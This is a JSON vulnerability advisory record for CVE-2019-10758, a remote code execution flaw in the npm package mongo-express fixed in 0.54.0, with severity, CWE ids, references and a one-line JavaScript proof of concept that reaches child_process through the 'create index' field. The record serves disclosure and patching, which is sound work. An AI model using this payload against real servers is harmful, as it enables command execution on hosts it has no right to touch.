{"id":"GHSA-h47j-hc6x-h3qq","summary":"Remote Code Execution Vulnerability in NPM mongo-express","details":"### Impact\n\nRemote code execution on the host machine by any authenticated user.\n\n### Proof Of Concept\n\nLaunching mongo-express on a Mac, pasting the following into the \"create index\" field will pop open the Mac calculator:\n\n```javascript\nthis.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')\n```\n\n### Patches\nUsers should upgrade to version `0.54.0`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n#### Thanks\n\n@JLLeitschuh for finding and reporting this vulnerability\n\nThis vulnerability has been [exploited](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758) in the wild.","aliases":["CVE-2019-10758","SNYK-JS-MONGOEXPRESS-473215"],"modified":"2026-05-07T04:56:45.855518501Z","published":"2019-12-30T19:30:31Z","database_specific":{"github_reviewed_at":"2019-12-30T19:29:02Z","nvd_published_at":"2019-12-24T22:15:11Z","cwe_ids":["CWE-78","CWE-94"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10758"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/pull/522"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/commit/7d365141deadbd38fa961cd835ce68eab5731494"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2"},{"type":"PACKAGE","url":"https://github.com/mongo-express/mongo-express"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/blob/ea02b364d43f179f191fc91fb9962efdb0843a8d/lib/bson.js#L60"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215"},{"type":"WEB","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758"}],"affected":[{"package":{"name":"mongo-express","ecosystem":"npm","purl":"pkg:npm/mongo-express"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.54.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/12/GHSA-h47j-hc6x-h3qq/GHSA-h47j-hc6x-h3qq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"}]}